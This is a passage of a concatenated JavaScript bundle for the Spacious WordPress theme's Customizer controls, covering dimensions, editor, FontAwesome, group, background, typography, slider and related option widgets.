						if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
							control.setting.set( color );
						}
					}

				} );

			}

		} );

	}
)( jQuery );

/**
 * Dimensions JS to handle the background customize option.
 *
 * File `background.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( {

    ready : function () {

        'use strict';

        var control = this;

        // Top Dimension setting.
        control.container.on( 'change keyup paste input', '.top input', function () {
            control.updateTop();
        } );

        // Right Dimension setting.
        control.container.on( 'change keyup paste input', '.right input', function () {
            control.updateRight();
        } );

        // Left Dimension setting.
        control.container.on( 'change keyup paste input', '.left input', function () {
            control.updateLeft();
        } );

        // Bottom Dimension setting.
        control.container.on( 'change keyup paste input', '.bottom input', function () {
            control.updateBottom();
        } );

    },

    updateTop : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'top' : {}
            };

        control.container.find( '.top .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['top'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateRight : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'right' : {}
            };

        control.container.find( '.right .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['right'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateBottom: function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'bottom' : {}
            };

        control.container.find( '.bottom .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['bottom'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

    updateLeft : function () {

        var control  = this,
            val      = control.setting._value,
            input    = control.container.find( '.dimensions-hidden-value' ),
            newValue = {
                'left' : {}
            };

        control.container.find( '.left .input-wrapper' ).each(
            function () {
                var controlValue = jQuery( this ).find( 'input' ).val();

                newValue['left'] = controlValue;
            }
        );

        // Extend/Update the `val` object to include `newValue`'s new data as an object.
        jQuery.extend( val, newValue );

        jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
        control.setting.set( val );

    },

} );
/**
 * Dropdown categories control JS to handle the dropdown categories customize control.
 *
 * File `dropdown-categorie.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'change', 'select', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );

/**
 * Editor control JS to handle the editor rendering within customize control.
 *
 * File `editor.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-editor' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this,
		    id      = 'editor_' + control.id;

		wp.editor.initialize( id, {
			tinymce      : {
				wpautop : true
			},
			quicktags    : true,
			mediaButtons : true
		} );

	},

	onChangeActive : function ( active, args ) {

		'use strict';

		var control = this,
		    id      = 'editor_' + control.id,
		    element = control.container.find( 'textarea' ),
		    editor;

		editor = tinyMCE.get( id );

		if ( editor ) {

			editor.onChange.add( function ( ed ) {
				var content;

				ed.save();
				content = editor.getContent();
				element.val( content ).trigger( 'change' );
				wp.customize.instance( control.id ).set( content );
			} );

		}

	}

} );

/**
 * Control: FontAwesome.
 */
(
	function ( $ ) {

		wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend(
			{
				ready: function () {
					'use strict';

					var control = this;

					control.initSpaciousFontawesomeControl();
				},

				initSpaciousFontawesomeControl: function() {
					var control       = this,
						selector      = control.selector,
						elSelector    = $( selector ).find( 'select' ),
						faData        = [],
						value         = control.setting._value,
						data          = window['SpaciousCustomizerControlFontawesome' + this.id],
						faDataCounter = 0,
						faSelect;

					$.each(
						data,
						function ( key, value ) {
							faData[ faDataCounter ] = {
								id: value,
								text: value
							};

							faDataCounter++;
						}
					);

					// Add HTML inside the option element.
					function formatState( state ) {

						if ( ! state.id ) {
							return state.text;
						}

						var $state = $(
							'<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>'
						);

						return $state;
					};

					// Apply selectWoo.
					faSelect = elSelector.selectWoo(
						{
							data: faData,
							width: '100%',
							templateResult: formatState,
						}
					);

					faSelect.val( value ).trigger( 'change' );

					faSelect.on(
						'change',
						function () {
							control.setting.set( elSelector.val() );
						}
					);
				},
			}
		);
	}
)( jQuery );

/**
 * Group control JS to handle the group customize option.
 *
 * File `group.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				control.registerToggleEvents();
				this.container.on( 'spacious_settings_changed', control.onOptionChange );

			},

			registerToggleEvents : function () {

				var control = this;

				/* Close popup when click outside on customize sidebar area */
				$( '.wp-full-overlay-sidebar-content' ).click(
					function ( e ) {
						if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) {
							$( '.spacious-group-toggle-icon.open' ).trigger( 'click' );
						}
					}
				);

				control.container.on(
					'click',
					'.spacious-group-wrap .spacious-group-toggle-icon',
					function ( e ) {

						e.preventDefault();
						e.stopPropagation();

						var $this          = $( this ),
						    parent_wrap    = $this.closest( '.customize-control-spacious-group' ),
						    is_loaded      = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ),
						    parent_section = parent_wrap.parents( '.control-section' );

						if ( $this.hasClass( 'open' ) ) {
							parent_wrap.find( '.spacious-field-settings-modal' ).hide();
						} else {

							/* Close popup when another popup is clicked */
							var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' );
							if ( get_open_popup.length > 0 ) {
								get_open_popup.trigger( 'click' );
							}

							if ( is_loaded ) {
								parent_wrap.find( '.spacious-field-settings-modal' ).show();
							} else {

								var fields     = control.params.spacious_fields,
								    modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ),
								    device     = $( '#customize-footer-actions .active' ).attr( 'data-device' );

								parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap );
								parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name );
								control.spacious_render_field( parent_wrap, fields, control );
								parent_wrap.find( '.spacious-field-settings-modal' ).show();

								if ( 'mobile' === device ) {
									$( '.control-wrap.mobile' ).addClass( 'active' );
									$( '.responsive-switchers .preview-mobile' ).addClass( 'active' );

									$( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
								} else if ( 'tablet' === device ) {
									$( '.control-wrap.tablet' ).addClass( 'active' );
									$( '.responsive-switchers .preview-tablet' ).addClass( 'active' );

									$( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' );
								} else {
									$( '.control-wrap.desktop' ).addClass( 'active' );
									$( '.responsive-switchers .preview-desktop' ).addClass( 'active' );

									$( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' );
									$( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' );
								}

							}

						}

						$this.toggleClass( 'open' );

					}
				);

				control.container.on(
					'click',
					'.spacious-group-wrap > .customizer-text',
					function ( e ) {

						e.preventDefault();
						e.stopPropagation();

						$( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' );

					}
				);

			},

			spacious_render_field : function ( wrap, fields, control_element ) {

				var control             = this;
				var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' );
				var fields_html         = '';
				var control_types       = [];
				var field_values        = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {};

				if ( 'undefined' != typeof fields.tabs ) {

					var counter = 0;
					fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">';

					fields_html += '<ul class="spacious-group-list">';
					_.each(
						fields.tabs,
						function ( value, key ) {
							var li_class = '';

							if ( 0 === counter ) {
								li_class = "active";
							}

							fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>';
							counter ++;
						}
					);
					fields_html += '</ul>';

					fields_html += '<div class="spacious-tab-content" >';
					_.each(
						fields.tabs,
						function ( fields_data, key ) {

							var result = control.generateFieldHtml( fields_data, field_values );

							fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">';
							fields_html += result.html;

							_.each(
								result.controls,
								function ( control_value, control_key ) {
									control_types.push(
										{
											key   : control_value.key,
											value : control_value.value,
											name  : control_value.name
										}
									);
								}
							);

							fields_html += '</div>';

						}
					);
					fields_html += '</div>';

					fields_html += '</div>';

					spacious_field_wrap.html( fields_html );

					$( '#' + control_element.params.name + '-tabs' ).tabs();

				} else {

					var result = control.generateFieldHtml( fields, field_values );

					fields_html += result.html;

					_.each(
						result.controls,
						function ( control_value, control_key ) {
							control_types.push(
								{
									key   : control_value.key,
									value : control_value.value,
									name  : control_value.name
								}
							);
						}
					);

					spacious_field_wrap.html( fields_html );

				}

				_.each(
					control_types,
					function ( control_type, index ) {

						switch ( control_type.key ) {

							case 'spacious-color':
								control.initColorControl( spacious_field_wrap, control_element, control_type.name );
								break;

							case 'spacious-background':
								control.initBackgroundControl( control_element, control_type, control_type.name );
								break;

							case 'spacious-typography':
								control.initTypographyControl( control_element, control_type, control_type.name );
								break;

						}

					}
				);

				wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true );

			},

			isJSONString : function ( string ) {

				try {
					JSON.parse( string );
				} catch ( e ) {
					return false;
				}

				return true;

			},

			generateFieldHtml : function ( fields_data, field_values ) {

				var fields_html   = '';
				var control_types = [];

				_.each(
					fields_data,
					function ( attr, index ) {

						var new_value   = (
							    wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : ''
						    ),
						    control     = attr.control,
						    template_id = 'customize-control-' + control + '-content',
						    template    = wp.template( template_id ),
						    value       = new_value || attr.default,
						    dataAtts    = '',
						    input_attrs = '';

						attr.value = value;
						attr.title = attr.label;

						// Data attributes.
						_.each(
							attr.data_attrs,
							function ( value, name ) {
								dataAtts += ' data-' + name + ' ="' + value + '"';
							}
						);

						// Input attributes.
						_.each(
							attr.input_attrs,
							function ( value, name ) {
								input_attrs += name + ' ="' + value + '"';
							}
						);

						attr.dataAttrs  = dataAtts;
						attr.inputAttrs = input_attrs;

						control_types.push(
							{
								key   : control,
								value : value,
								name  : attr.name
							}
						);

						var responsive_switchers = '',
						    controlsType         = [
							    'spacious-typography'
						    ];

						if ( (
							     'spacious-typography' === attr.control
						     ) && controlsType.includes( attr.control ) ) {
							attr.languages = SpaciousCustomizerControlTypographySubsets;
						}

						if ( controlsType.includes( attr.control ) ) {
							responsive_switchers = 'has-responsive-switchers';
						}

						fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >';
						fields_html += template( attr );
						fields_html += '</li>';

					}
				);

				var result = new Object();

				result.controls = control_types;
				result.html     = fields_html;

				return result;

			},

			onOptionChange : function ( e, control, element, value, name ) {

				var control_id = $( '.hidden-field-' + name );
				control_id.val( value );

				var sub_control = wp.customize.control( name );
				sub_control.setting.set( value );

			},

			initColorControl : function ( wrap, control_elem, name ) {

				var control     = this;
				var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' );

				colorpicker.wpColorPicker(
					{
						change : function ( event, ui ) {

							if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) {
								var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
								name        = $( element ).parents( '.customize-control' ).attr( 'id' );
								name        = name.replace( 'customize-control-', '' );

								$( element ).val( ui.color.toString() );

								control.container.trigger(
									'spacious_settings_changed',
									[
										control,
										$( element ),
										ui.color.toString(),
										name
									]
								);
							}

						},

						clear : function ( event ) {

							var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
							name        = $( element ).parents( '.customize-control' ).attr( 'id' );
							name        = name.replace( 'customize-control-', '' );

							$( element ).val( '' );

							control.container.trigger(
								'spacious_settings_changed',
								[
									control,
									$( element ),
									'',
									name
								]
							);

							wp.customize.previewer.refresh();

						}
					}
				);
			},

			initBackgroundControl : function ( control, control_atts, name ) {

				var input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    value            = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    colorpicker      = control.container.find( '.spacious-color-picker-alpha' ),
				    controlContainer = control.container.find( '#customize-control-' + control_name );

				// Hide unnecessary controls if the value doesn't have an image.
				if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
					controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
					controlContainer.find( '.customize-control-content > .background-position' ).hide();
					controlContainer.find( '.customize-control-content > .background-size' ).hide();
					controlContainer.find( '.customize-control-content > .background-attachment' ).hide();
				}

				// Background color setting.
				colorpicker.wpColorPicker(
					{
						change : function () {

							if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) {
								var $this = $( this );

								setTimeout(
									function () {
										control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name );
									},
									100
								);
							}

						},

						clear : function ( event ) {

							var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];

							if ( element ) {
								control.saveBackgroundValue( 'background-color', '', $( element ), name );
							}

							wp.customize.previewer.refresh();

						}
					}
				);

				// Background image setting..
				controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
					var upload_img_btn = $( this );
					var image          = wp.media( { multiple : false } ).open().on( 'select', function () {

						// This will return the selected image from the Media Uploader, the result is an object.
						var uploadedImage = image.state().get( 'selection' ).first(),
						    previewImage  = uploadedImage.toJSON().sizes.full.url,
						    imageUrl,
						    imageID,
						    imageWidth,
						    imageHeight,
						    preview,
						    removeButton;

						if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
							previewImage = uploadedImage.toJSON().sizes.medium.url;
						} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
							previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
						}

						imageUrl    = uploadedImage.toJSON().sizes.full.url;
						imageID     = uploadedImage.toJSON().id;
						imageWidth  = uploadedImage.toJSON().width;
						imageHeight = uploadedImage.toJSON().height;

						// Show extra controls if the value has an image.
						if ( '' !== imageUrl ) {
							controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
						}

						control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name );
						preview      = controlContainer.find( '.placeholder, .thumbnail' );
						removeButton = controlContainer.find( '.background-image-upload-remove-button' );

						if ( preview.length ) {
							preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
						}

						if ( removeButton.length ) {
							removeButton.show();
						}
					} );

					e.preventDefault();
				} );

				controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) {

					var preview,
					    removeButton;

					e.preventDefault();

					control.saveBackgroundValue( 'background-image', '', $( this ) );

					preview      = controlContainer.find( '.placeholder, .thumbnail' );
					removeButton = controlContainer.find( '.background-image-upload-remove-button' );

					// Hide unnecessary controls.
					controlContainer.find( '.customize-control-content > .background-repeat' ).hide();
					controlContainer.find( '.customize-control-content > .background-position' ).hide();
					controlContainer.find( '.customize-control-content > .background-size' ).hide();
					controlContainer.find( '.customize-control-content > .background-attachment' ).hide();

					if ( preview.length ) {
						preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
					}

					if ( removeButton.length ) {
						removeButton.hide();
					}
				} );

				// Background repeat setting.
				controlContainer.on( 'change', '.background-repeat select', function () {
					control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name );
				} );

				// Background position setting.
				controlContainer.on( 'change', '.background-position select', function () {
					control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name );
				} );

				// Background size setting.
				controlContainer.on( 'change', '.background-size select', function () {
					control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name );
				} );

				// Background attachment setting.
				controlContainer.on( 'change', '.background-attachment select', function () {
					control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name );
				} );

			},

			saveBackgroundValue : function ( property, value, element, name ) {

				var control = this,
				    input   = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    val     = JSON.parse( input.val() );

				val[property] = value;

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			initTypographyControl : function ( control, control_atts, name ) {

				var value            = control.setting._value,
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name );

				// On customizer load, render the available font options.
				control.renderTypographyFontSelector( $( this ), name, control_atts );
				control.renderTypographyVariantSelector( $( this ), name, control_atts );
				control.renderTypographySubsetSelector( $( this ), name, control_atts );

				// Font style setting.
				controlContainer.on( 'change', '.font-style select', function () {
					control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name );
				} );

				// Text transform setting.
				controlContainer.on( 'change', '.text-transform select', function () {
					control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name );
				} );

				// Text decoration setting.
				controlContainer.on( 'change', '.text-decoration select', function () {
					control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name );
				} );

				// Font size setting.
				controlContainer.on( 'change keyup paste input', '.font-size input', function () {
					control.saveTypographyFontSize( $( this ), name, control_atts );
				} );

				// Line height setting.
				controlContainer.on( 'change keyup paste input', '.line-height input', function () {
					control.saveTypographyLineHeight( $( this ), name, control_atts );
				} );

				// Letter spacing setting.
				controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () {
					control.saveTypographyLetterSpacing( $( this ), name, control_atts );
				} );

			},

			renderTypographyFontSelector : function ( element, name, control_atts ) {

				var control       = this,
				    selector      = control.selector + ' .font-family select',
				    standardFonts = [],
				    googleFonts   = [],
				    customFonts   = [],
				    input         = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value         = JSON.parse( input.val() ),
				    fonts         = control.getTypographyFonts(),
				    fontSelect;

				// Format standard fonts as an array.
				if ( ! _.isUndefined( fonts.standard ) ) {
					_.each(
						fonts.standard,
						function ( font ) {
							standardFonts.push(
								{
									id   : font.family.replace( /&quot;/g, '&#39' ),
									text : font.label
								}
							);
						}
					);
				}

				// Format Google fonts as an array.
				if ( ! _.isUndefined( fonts.google ) ) {
					_.each(
						fonts.google,
						function ( font ) {
							googleFonts.push(
								{
									id   : font.family,
									text : font.label
								}
							);
						}
					);
				}

				// Combine fonts and build the final data.
				data = [
					{
						text     : fonts.standardfontslabel,
						children : standardFonts
					},
					{
						text     : fonts.googlefontslabel,
						children : googleFonts
					}
				];

				// Format custom fonts as an array.
				if ( ! _.isUndefined( fonts.custom ) ) {
					_.each(
						fonts.custom,
						function ( font ) {
							customFonts.push(
								{
									id   : font.family,
									text : font.label
								}
							);
						}
					);

					// Merge on `data` array.
					data.push(
						{
							text     : fonts.customfontslabel,
							children : customFonts
						}
					);
				}

				// Instantiate selectWoo with the data.
				fontSelect = $( selector ).selectWoo(
					{
						data  : data,
						width : '100%'
					}
				);

				// Set the initial value.
				if ( value['font-family'] ) {
					fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
				}

				// When the font option value changes.
				fontSelect.on(
					'change',
					function () {

						// Set the value.
						control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name );

						// Render new list of selected font options.
						control.renderTypographyVariantSelector( $( this ), name, control_atts );
						control.renderTypographySubsetSelector( $( this ), name, control_atts );

					}
				);

			},

			getTypographyFonts : function () {

				var control = this;

				if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
					return SpaciousCustomizerControlTypography;
				}

				return {
					google   : [],
					standard : []
				};

			},

			renderTypographyVariantSelector : function ( element, name, control_atts ) {

				var control    = this,
				    input      = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value      = JSON.parse( input.val() ),
				    fontFamily = value['font-family'],
				    variants   = control.getTypographyVariants( fontFamily ),
				    selector   = control.selector + ' .font-weight select',
				    data       = [],
				    isValid    = false,
				    variantSelector;

				if ( false !== variants ) {

					$( control.selector + ' .font-weight' ).show();
					_.each(
						variants,
						function ( variant ) {
							if ( value['font-weight'] === variant.id ) {
								isValid = true;
							}

							data.push(
								{
									id   : variant.id,
									text : variant.label
								}
							);
						}
					);

					if ( ! isValid ) {
						value['font-weight'] = 'regular';
					}

					if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
						$( selector ).selectWoo( 'destroy' );
						$( selector ).empty();
					}

					// Instantiate selectWoo with the data.
					variantSelector = $( selector ).selectWoo(
						{
							data  : data,
							width : '100%'
						}
					);

					variantSelector.val( value['font-weight'] ).trigger( 'change' );
					variantSelector.on(
						'change',
						function () {
							control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name );
						}
					);

				} else {

					$( control.selector + ' .font-weight' ).hide();

				}

			},

			getTypographyVariants : function ( fontFamily ) {

				var control = this,
				    fonts   = control.getTypographyFonts();

				var variants = false;
				_.each(
					fonts.standard,
					function ( font ) {
						if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
							variants = font.variants;

							return variants;
						}
					}
				);

				_.each(
					fonts.google,
					function ( font ) {
						if ( font.family === fontFamily ) {
							variants = font.variants;

							return variants;
						}
					}
				);

				// For custom fonts.
				if ( ! _.isUndefined( fonts.custom ) ) {
					_.each(
						fonts.custom,
						function ( font ) {
							if ( font.custom === fontFamily ) {
								variants = font.variants;

								return variants;
							}
						}
					);
				}

				return variants;

			},

			renderTypographySubsetSelector : function ( element, name, control_atts ) {

				var control    = this,
				    input      = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    value      = JSON.parse( input.val() ),
				    fontFamily = value['font-family'],
				    subsets    = control.getTypographySubsets( fontFamily ),
				    selector   = control.selector + ' .subsets select',
				    data       = [],
				    validValue = value.subsets,
				    subsetSelector;

				if ( false !== subsets ) {

					$( control.selector + ' .subsets' ).show();
					_.each(
						subsets,
						function ( subset ) {
							if ( _.isObject( validValue ) ) {
								if ( - 1 === validValue.indexOf( subset.id ) ) {
									validValue = _.reject(
										validValue,
										function ( subValue ) {
											return subValue === subset.id;
										}
									);
								}
							}

							data.push(
								{
									id   : subset.id,
									text : subset.label
								}
							);
						}
					);

				} else {

					$( control.selector + ' .subsets' ).hide();

				}

				if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
					$( selector ).selectWoo( 'destroy' );
					$( selector ).empty();
				}

				// Instantiate selectWoo with the data.
				subsetSelector = $( selector ).selectWoo(
					{
						data  : data,
						width : '100%'
					}
				);

				subsetSelector.val( validValue ).trigger( 'change' );
				subsetSelector.on(
					'change',
					function () {
						control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name );
					}
				);

			},

			getTypographySubsets : function ( fontFamily ) {

				var control = this,
				    subsets = false,
				    fonts   = control.getTypographyFonts();

				_.each(
					fonts.google,
					function ( font ) {
						if ( font.family === fontFamily ) {
							subsets = font.subsets;

							return subsets;
						}
					}
				);

				return subsets;

			},

			saveTypographyFontSize : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'font-size' : {}
				    };

				controlContainer.find( '.font-size .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['font-size'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyLineHeight : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'line-height' : {}
				    };

				controlContainer.find( '.line-height .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['line-height'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyLetterSpacing : function ( element, name, control_atts ) {

				var control          = this,
				    input            = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val              = JSON.parse( input.val() ),
				    control_name     = control_atts.name,
				    controlContainer = control.container.find( '#customize-control-' + control_name ),
				    newValue         = {
					    'letter-spacing' : {}
				    };

				controlContainer.find( '.letter-spacing .control-wrap' ).each(
					function () {
						var controlValue = $( this ).find( 'input' ).val();
						var device       = $( this ).find( 'input' ).data( 'device' );

						newValue['letter-spacing'][device] = controlValue;
					}
				);

				// Extend/Update the `val` object to include `newValue`'s new data as an object.
				$.extend( val, newValue );

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

			saveTypographyValue : function ( property, value, element, name ) {

				var control = this,
				    input   = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
				    val     = JSON.parse( input.val() );

				val[property] = value;

				$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );

				name = $( element ).parents( '.customize-control' ).attr( 'id' );
				name = name.replace( 'customize-control-', '' );

				control.container.trigger(
					'spacious_settings_changed',
					[
						control,
						element,
						val,
						name
					]
				);

			},

		} );

	}
)( jQuery );

/**
 * Background image control JS to handle the navigate customize option.
 *
 * File `navigate.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {

			$( '.tg-navigate a' ).on( 'click', function ( e ) {
				e.preventDefault();

				var targetSection = $( this ).data( 'section' );

				if ( targetSection ) {
					wp.customize.section( targetSection ).focus();
				}
			} );

		} );
	}
)( jQuery );

/**
 * Radio image control JS to handle the toggle of radio images.
 *
 * File `radio-image.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-radio-image' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'click', 'input', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );

/**
 * Slider control JS to handle the range of the inputs.
 *
 * File `slider.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Update the text value.
		this.container.find( 'input[type=range]' ).on( 'input change', function () {
			var value        = jQuery( this ).val(),
				input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' );

			input_number.val( value );
			input_number.change();
		} );

		// Handle the reset button.
		this.container.find( '.spacious-slider-reset' ).click( function () {
			var wrapper       = jQuery( this ).closest( '.slider-wrapper' ),
			    input_range   = wrapper.find( 'input[type=range]' ),
			    input_number  = wrapper.find( '.spacious-range-value .value' ),
			    default_value = input_range.data( 'reset_value' );

			input_range.val( default_value );
			input_number.val( default_value );
			input_number.change();
		} );

		// Save changes.
		this.container.on( 'input change', 'input[type=number]', function () {
			var value = jQuery( this ).val();
			jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value );
			control.setting.set( value );
		} );

	}

} );

/**
 * Sortable control JS to handle the sortable feature of custom customize controls.
 *
 * File `sortable.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-sortable'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Set the sortable container.
		control.sortableContainer = control.container.find( 'ul.sortable' ).first();

		// Init sortable.
		control.sortableContainer.sortable(
